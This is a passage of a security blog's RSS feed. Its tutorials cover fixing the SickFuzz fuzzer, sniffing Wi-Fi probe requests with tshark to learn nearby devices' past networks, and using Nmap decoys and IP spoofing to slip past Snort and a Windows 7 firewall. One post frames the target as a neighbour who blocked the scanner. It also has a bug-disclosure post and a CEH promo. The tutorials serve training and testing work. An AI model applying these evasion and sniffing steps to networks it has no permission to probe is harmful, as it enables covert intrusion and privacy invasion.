url="http://2.bp.blogspot.com/-hzbvVGJBWRQ/VE5le3R5WTI/AAAAAAAAAJs/mygw30EChCk/s72-c/overflow.jpg" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-2373412333407159612</guid><pubDate>Sat, 27 Sep 2014 09:35:00 +0000</pubDate><atom:updated>2014-09-27T15:05:00.876+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">sickfuzz fix</category><category domain="http://www.blogger.com/atom/ns#">sickfuzz not working</category><category domain="http://www.blogger.com/atom/ns#">sickfuzz on kali linux</category><title>Fixing SickFuzz for Kali Linux</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;SickFuzz is a fuzzer for web applications and has always been a script which i miss the most on Kali linux. Let us see how we can fix it to run on Kali Systems-&lt;br /&gt;&lt;br /&gt;Download the script from this &lt;a href=&quot;http://code.google.com/p/sickfuzz/&quot;&gt;link&lt;/a&gt; and try to execute it.&lt;br /&gt;The First Error would be:&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-BjD9nL3o8Lg/VCaDQnalDdI/AAAAAAAAAIM/QspSPm4D2zA/s1600/error1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-BjD9nL3o8Lg/VCaDQnalDdI/AAAAAAAAAIM/QspSPm4D2zA/s1600/error1.png&quot; height=&quot;170&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;And probably the second one would be: &lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-UrpOHKM7UYo/VCaDTk0TwBI/AAAAAAAAAIU/tr4wFHPG1_s/s1600/error2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-UrpOHKM7UYo/VCaDTk0TwBI/AAAAAAAAAIU/tr4wFHPG1_s/s1600/error2.png&quot; height=&quot;221&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;To Fix these errors, we need to make the following changes in the &lt;b&gt;spike&lt;/b&gt; and the &lt;b&gt;fpath&lt;/b&gt; variables. However, fpath variable is the path of the &lt;i&gt;sickfuzz.py&lt;/i&gt; file.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-2kRv-wjLU3E/VCaDW7unj-I/AAAAAAAAAIc/7JceyOEzPkc/s1600/fix.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-2kRv-wjLU3E/VCaDW7unj-I/AAAAAAAAAIc/7JceyOEzPkc/s1600/fix.png&quot; height=&quot;62&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;As soon as you fix and restart sickfuzz.py, it works like charm-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-_hNZndNxOjU/VCaESXEE-7I/AAAAAAAAAIk/al_SD7t3mOo/s1600/sickfuzz.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-_hNZndNxOjU/VCaESXEE-7I/AAAAAAAAAIk/al_SD7t3mOo/s1600/sickfuzz.png&quot; height=&quot;148&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Happy Fuzzing :)&lt;br /&gt;&amp;nbsp;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/09/fixing-sickfuzz-for-kali-linux.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-BjD9nL3o8Lg/VCaDQnalDdI/AAAAAAAAAIM/QspSPm4D2zA/s72-c/error1.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5487257718954348515</guid><pubDate>Fri, 26 Sep 2014 13:56:00 +0000</pubDate><atom:updated>2014-09-26T19:26:29.626+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">finding previously connected networks</category><category domain="http://www.blogger.com/atom/ns#">ssid sniffing</category><category domain="http://www.blogger.com/atom/ns#">wireless sniffing</category><title>Simplest Command to Fetch SSIDs Around You</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Today we will discuss how we can easily capture network SSIDs from the various devices around you.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-NdIcoBdfVpw/VCVv_Z8tllI/AAAAAAAAAH8/9Vr5ntWsRJ8/s1600/sniffer_1455727c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-NdIcoBdfVpw/VCVv_Z8tllI/AAAAAAAAAH8/9Vr5ntWsRJ8/s1600/sniffer_1455727c.jpg&quot; height=&quot;200&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;This will help you find previously connected networks from various devices due to the fact that any wireless enabled device will keep looking for previously connected network after a certain period of time.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To keep it simple we will simply use &#39;tshark&#39; the command line sequel for wireshark.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The first step is to put your wireless card in monitor mode-&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;airmon-ng start wlan0&amp;nbsp; &lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next, issue the following command-&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;tshark -i mon0 -R wlan.fc.type_subtype==0x04 -T fields -E separator=- -e wlan.sa -e wlan_mgt.ssid&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lets understand this command, &lt;i&gt;-i &lt;/i&gt;denotes the interface to capture packets from and since we have put our wireless card in monitor mode, we will use &lt;i&gt;mon0.&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;-R &lt;/i&gt;denotes the filter to use, &lt;i&gt;wlan.fc.type_subtype==0x04 &lt;/i&gt;denotes the &#39;&lt;b&gt;Probe Request&lt;/b&gt;&#39; packet which is used for seeking a network actively, by the device. we used Hex notation of probe packet that is &lt;i&gt;0x04&lt;/i&gt;. Next, to list only the information which we require rather than the entire packet we use &lt;i&gt;-T fields&lt;/i&gt;. &lt;i&gt;-E separator&lt;/i&gt; denotes the character separator between two fields. &lt;b&gt;&lt;i&gt;-e &lt;/i&gt;&lt;/b&gt;denotes the actual fields which we want to display.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Therefore, our command should display something like-&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;br /&gt;XX:XX:XX:XX:XX:XX-[Network Name]&lt;/blockquote&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;running this command will output something similar to the following-&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-rDgL-AakR4A/VCVvKUFZMOI/AAAAAAAAAH0/bGIBu3Qd618/s1600/Simple.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-rDgL-AakR4A/VCVvKUFZMOI/AAAAAAAAAH0/bGIBu3Qd618/s1600/Simple.png&quot; height=&quot;250&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;This was a simple tutorial but i thought it will be helpful for few people who wants to get information about previously connected networks from certain devices.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/09/simplest-command-to-fetch-ssid-around.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-NdIcoBdfVpw/VCVv_Z8tllI/AAAAAAAAAH8/9Vr5ntWsRJ8/s72-c/sniffer_1455727c.jpg" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-8476795597160493101</guid><pubDate>Sun, 29 Jun 2014 13:11:00 +0000</pubDate><atom:updated>2017-08-13T01:33:27.167+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">bypassing ids detection</category><category domain="http://www.blogger.com/atom/ns#">bypassing snort</category><category domain="http://www.blogger.com/atom/ns#">decoy scanning</category><category domain="http://www.blogger.com/atom/ns#">evading snort detection</category><category domain="http://www.blogger.com/atom/ns#">evading windows 7 firewall</category><category domain="http://www.blogger.com/atom/ns#">port scanning through ids</category><category domain="http://www.blogger.com/atom/ns#">port scanning through ips</category><category domain="http://www.blogger.com/atom/ns#">snort evasion techniques</category><title>Using Decoys but not only decoys in scanning networks using Nmap</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-li5_LDH5o2Y/U7APLiMSDGI/AAAAAAAAAGg/J0MCodXUok8/s1600/irobot.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;133&quot; src=&quot;https://3.bp.blogspot.com/-li5_LDH5o2Y/U7APLiMSDGI/AAAAAAAAAGg/J0MCodXUok8/s1600/irobot.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;In the Previous tutorial, we discussed about &lt;a href=&quot;http://www.nipunjaswal.com/2014/06/evading-windows-7-firewall-rules-with-nmap.html&quot;&gt;evading windows 7 firewall rules&lt;/a&gt;. Today, let us discuss about another great capability of Nmap that is decoys. To evade detection and network presence, Nmap decoys can be used effectively to lessen the chances of being caught. Decoys are those fake IP bots which pretends to be scanning the network and hence, confusing the security administrators to find the real culprit. So, today let us see how we can scan a target using Decoys in Nmap. For this tutorial we will use the target operating system as Windows 7 and we will run Snort to detect network packets. Snort is a common open source IDS implementation-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-GqcQP0alus4/U7ALHvt4PmI/AAAAAAAAAF4/DHGzB6kQbxg/s1600/nmaponlydecoys.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://1.bp.blogspot.com/-GqcQP0alus4/U7ALHvt4PmI/AAAAAAAAAF4/DHGzB6kQbxg/s1600/nmaponlydecoys.png&quot; title=&quot;nmap scanning with decoys&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;we just performed a service scan with nmap on the target with two decoys that are 192.134.122.133 and 192.134.55.66 on port 21. We can see the port open but let us see on the target side that what amount of traffic we generated-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-My--SbZuERA/U7ALl0WnKKI/AAAAAAAAAGA/y3Dweam8_4s/s1600/decoyswithoriginal.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;161&quot; src=&quot;https://1.bp.blogspot.com/-My--SbZuERA/U7ALl0WnKKI/AAAAAAAAAGA/y3Dweam8_4s/s1600/decoyswithoriginal.png&quot; title=&quot;snort nmap logging&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;As we can clearly see that we have the decoys who are scanning the target. But, we also have our original IP address listed there. However, this lessens the chances of getting caught but not a complete evade. Also, an important thing to mention here is that in a Service discovery scan, Nmap will try to fetch the banner of the target port from the original IP address which makes it more catchy. Therefore, let us see another approach of using Nmap decoys with IP Spoofing and analyze the results-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-K3eirROgixw/U7AMdnNSCBI/AAAAAAAAAGM/pH1sx-ZXoo8/s1600/spoofnmap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;145&quot; src=&quot;https://1.bp.blogspot.com/-K3eirROgixw/U7AMdnNSCBI/AAAAAAAAAGM/pH1sx-ZXoo8/s1600/spoofnmap.png&quot; title=&quot;bypassing snort&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Let us now check the target Snort logs and see if the original IP address is listed there or not-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-ZZrfFRb9Bt0/U7AMthY0PcI/AAAAAAAAAGU/LAw80RW8pDQ/s1600/withspoof.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;137&quot; src=&quot;https://3.bp.blogspot.com/-ZZrfFRb9Bt0/U7AMthY0PcI/AAAAAAAAAGU/LAw80RW8pDQ/s1600/withspoof.png&quot; title=&quot;bypassing ids detection&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Bang! we can see that there is no listing of our original IP address there. Hence, evading the catch completely. Therefore, decoys lessens the chances of being caught and does it even better when used in conjunction with IP spoofing. This tutorial is recommended to use under a LAN environment or on an onsite testing project.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/06/bypassing-snort-detection-using-nmap-decoys.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-li5_LDH5o2Y/U7APLiMSDGI/AAAAAAAAAGg/J0MCodXUok8/s72-c/irobot.jpg" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-5767314767964484310</guid><pubDate>Thu, 26 Jun 2014 21:49:00 +0000</pubDate><atom:updated>2017-08-13T01:35:12.158+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">evading windows 7 firewall</category><category domain="http://www.blogger.com/atom/ns#">firewall bypassing</category><category domain="http://www.blogger.com/atom/ns#">ninja scanning</category><category domain="http://www.blogger.com/atom/ns#">port scanning through firewall</category><category domain="http://www.blogger.com/atom/ns#">windows 7 firewall unblocking scans</category><title>Evading Windows 7 Firewall rules with Basic Ninja Scanning using Nmap</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-6uGtKUUTmcU/U6yMUbgtwiI/AAAAAAAAAEs/iotjEC-IioU/s1600/Lucy_Ninja.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://3.bp.blogspot.com/-6uGtKUUTmcU/U6yMUbgtwiI/AAAAAAAAAEs/iotjEC-IioU/s1600/Lucy_Ninja.png&quot; title=&quot;windows 7 firewall bypass&quot; width=&quot;181&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Today, let us talk about Firewall rules and how we can evade them. However, i will be producing more advanced and complex tutorials for ninja scanning as well.OK, let us talk about a basic ninja scan which is required in the following scenario-&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;Target is a colleague in the neighborhood who is running on Windows 7, Runs a Version of an FTP server on port 21 and 990(secured) and lastly has blocked our IP address as well. Our task is to evade the protection mechanisms that are the Windows 7 firewall based rules.&lt;/blockquote&gt;&lt;br /&gt;To create a self test environment, you need:&lt;br /&gt;&lt;br /&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Windows 7 up and running in VMware or on a different machine&lt;/li&gt;&lt;li&gt;A Firewall rule in &quot;Inbound Connections&quot; which Blocks our IP address&lt;/li&gt;&lt;li&gt;Any Linux configured with Nmap&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;OK! So let us first run a simple Nmap scan without any rule in the firewall and check what is the output:-&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-uc39CBiF3PM/U6yNIewBMrI/AAAAAAAAAE0/JXfedE2Lrbo/s1600/nmapscanwithoutfirewall.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;120&quot; src=&quot;https://4.bp.blogspot.com/-uc39CBiF3PM/U6yNIewBMrI/AAAAAAAAAE0/JXfedE2Lrbo/s1600/nmapscanwithoutfirewall.png&quot; title=&quot;Scanning windows 7 with nmap&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Providing the simple command &lt;i style=&quot;font-weight: bold;&quot;&gt;nmap 192.168.193.128 &lt;/i&gt;shows the output in the above screenshot. Everything seems to be OK! we are able to make a connection with ease. let us now create a firewall rule to block the remote address &lt;b&gt;192.168.193.1(Attacker&#39;s OS IP/Our IP) &lt;/b&gt;-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-gxr9Z_EJAEQ/U6yOEc7xSpI/AAAAAAAAAFA/MN1Z2yM9m70/s1600/Firewall+Rule.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://2.bp.blogspot.com/-gxr9Z_EJAEQ/U6yOEc7xSpI/AAAAAAAAAFA/MN1Z2yM9m70/s1600/Firewall+Rule.png&quot; title=&quot;creating a firewall rule in windows 7 to block an ip address&quot; width=&quot;386&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The first rule blocks our IP address which is &lt;b&gt;192.168.193.1&lt;/b&gt; Let us now re-scan the target and see that if the firewall is blocking us now or not?&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-AYpW0pIzkIg/U6yOtbNcQ4I/AAAAAAAAAFI/6Tf4wNLY0NM/s1600/nmapscanwithfirewall.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;66&quot; src=&quot;https://3.bp.blogspot.com/-AYpW0pIzkIg/U6yOtbNcQ4I/AAAAAAAAAFI/6Tf4wNLY0NM/s1600/nmapscanwithfirewall.png&quot; title=&quot;scanning through windows 7 firewall&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;&quot;All 1000 ports are filtered&quot; &lt;/b&gt;firewall is working pretty well huh? :P let us also check what Wireshark denotes running this scan-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-wJEZBgQmdWE/U6yPPzXDyGI/AAAAAAAAAFQ/exWYndOkqAc/s1600/nmapnoacknowledgements.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;100&quot; src=&quot;https://1.bp.blogspot.com/-wJEZBgQmdWE/U6yPPzXDyGI/AAAAAAAAAFQ/exWYndOkqAc/s1600/nmapnoacknowledgements.png&quot; title=&quot;firewall analysis in wireshark&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;All SYN packets from the very first packet till the end of the scan.... so what this means? yeah you guessed it right no ACKs. Therefore, Nmap shows all ports filtered.&lt;br /&gt;&lt;br /&gt;Let us now overcome this situation by using &lt;b&gt;-S &lt;/b&gt;switch in Nmap which helps in spoofing the originating address as follows-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-Wvj9WmZy6v4/U6yQeQNVMwI/AAAAAAAAAFc/3wDrVwtuVnI/s1600/nmapscanwithfirewallrule.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://2.bp.blogspot.com/-Wvj9WmZy6v4/U6yQeQNVMwI/AAAAAAAAAFc/3wDrVwtuVnI/s1600/nmapscanwithfirewallrule.png&quot; title=&quot;evading windows 7 firewall with nmap&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Let us analyze the above command, we used &lt;b&gt;-sS &lt;/b&gt;to denote a Stealth Scan/Half open Scan. Next, we used &lt;b&gt;-e &lt;/b&gt;to denote the interface name which in my case was &lt;b&gt;vmnet8 &lt;/b&gt;because i used it in VMware Player(eth0 in case of machine being a different one). Next, &lt;b&gt;-S &lt;/b&gt;to supply an address to spoof and 21,990 using &lt;b&gt;-p &lt;/b&gt;switch to denote the port numbers. we can see that some error messages are generated but its alright, it works fine. let us cross check its functioning using Wireshark-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-krSLUu6Qa3w/U6yR_tE1YYI/AAAAAAAAAFo/4r639hllStA/s1600/wiresharkblockage.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;31&quot; src=&quot;https://2.bp.blogspot.com/-krSLUu6Qa3w/U6yR_tE1YYI/AAAAAAAAAFo/4r639hllStA/s1600/wiresharkblockage.png&quot; title=&quot;ninja scanning through windows 7&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bingo! we were able to spoof the address with ease and we can also see the SYN-ACKs sent back from the target to the spoofed address which doesn&#39;t exist actually :P&lt;br /&gt;&lt;br /&gt;This concludes our most basic ninja scanning tutorial to evade a firewall rule of Windows 7. Stay tuned for more tutorials. Additionally, Refer to my book &lt;a href=&quot;http://www.packtpub.com/mastering-metasploit/book&quot; target=&quot;_blank&quot;&gt;Mastering Metasploit&lt;/a&gt; to learn how to scan a hidden network using a compromised host. &amp;nbsp;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/06/evading-windows-7-firewall-rules-with-nmap.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-6uGtKUUTmcU/U6yMUbgtwiI/AAAAAAAAAEs/iotjEC-IioU/s72-c/Lucy_Ninja.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-2812233507282907380</guid><pubDate>Mon, 31 Mar 2014 13:54:00 +0000</pubDate><atom:updated>2014-03-31T19:24:32.919+05:30</atom:updated><title>What was Western Union Private Exploit</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;Western Union&lt;/b&gt; is a popular money transfer service. Last year our team &quot;Cyber-ROG&quot; found a password reset bug in the official site of western union.&lt;br /&gt;People on many popular forums claimed to have the password reset bug for western union, which was considered as a popular fake on various forums by some popular members.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-MPZaIuiutOM/Uzlzb4A0C0I/AAAAAAAAAEY/vdoyK5uQ3fY/s1600/WesternUnion.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/-MPZaIuiutOM/Uzlzb4A0C0I/AAAAAAAAAEY/vdoyK5uQ3fY/s1600/WesternUnion.jpg&quot; height=&quot;89&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Team Cyber-ROG found the &lt;b&gt;password reset bug&lt;/b&gt; and reported it to the western union officials. But the company, instead of acknowledging the work done, they patched the bug without even replying to the disclosure mail.&lt;br /&gt;&lt;br /&gt;Check out the POC video of the exploit-&lt;br /&gt;&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;344&quot; src=&quot;//www.youtube.com/embed/2sDXJBer75M&quot; width=&quot;459&quot;&gt;&lt;/iframe&gt; &lt;br /&gt;Researchers must be acknowledged for their findings. But some of the companies do not take this seriously. Hence, Full Disclosure to these kind of bugs are required.&lt;br /&gt;&lt;br /&gt;Cyber-ROG is composed of highly skilled researchers from around the globe. Want to show respect? like the facebook page &lt;a href=&quot;https://www.facebook.com/CyberReloadedOffensiveGangstas&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/03/what-was-western-union-private-exploit.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-MPZaIuiutOM/Uzlzb4A0C0I/AAAAAAAAAEY/vdoyK5uQ3fY/s72-c/WesternUnion.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-8697593864695813834</guid><pubDate>Sun, 30 Mar 2014 17:15:00 +0000</pubDate><atom:updated>2014-03-30T22:45:52.818+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ceh</category><category domain="http://www.blogger.com/atom/ns#">certified ethical hacker</category><category domain="http://www.blogger.com/atom/ns#">C|EH</category><category domain="http://www.blogger.com/atom/ns#">ethical hacking certifications</category><category domain="http://www.blogger.com/atom/ns#">how to become a hacker</category><title>Why to get a C|EH Certification</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Hey Folks,&lt;br /&gt;let us today discuss about &lt;a href=&quot;http://www.eccouncil.org/Certification/certified-ethical-hacker&quot; target=&quot;_blank&quot;&gt;C|EH&lt;/a&gt; certification and discuss why it&#39;s always an upper hand to get one, rather than a local company based certification.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-EGjipeQNWdU/UzhQyOnAuVI/AAAAAAAAAEI/1RcQsfbTG2U/s1600/cartoon-ceh.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-EGjipeQNWdU/UzhQyOnAuVI/AAAAAAAAAEI/1RcQsfbTG2U/s1600/cartoon-ceh.png&quot; height=&quot;252&quot; width=&quot;320&quot; 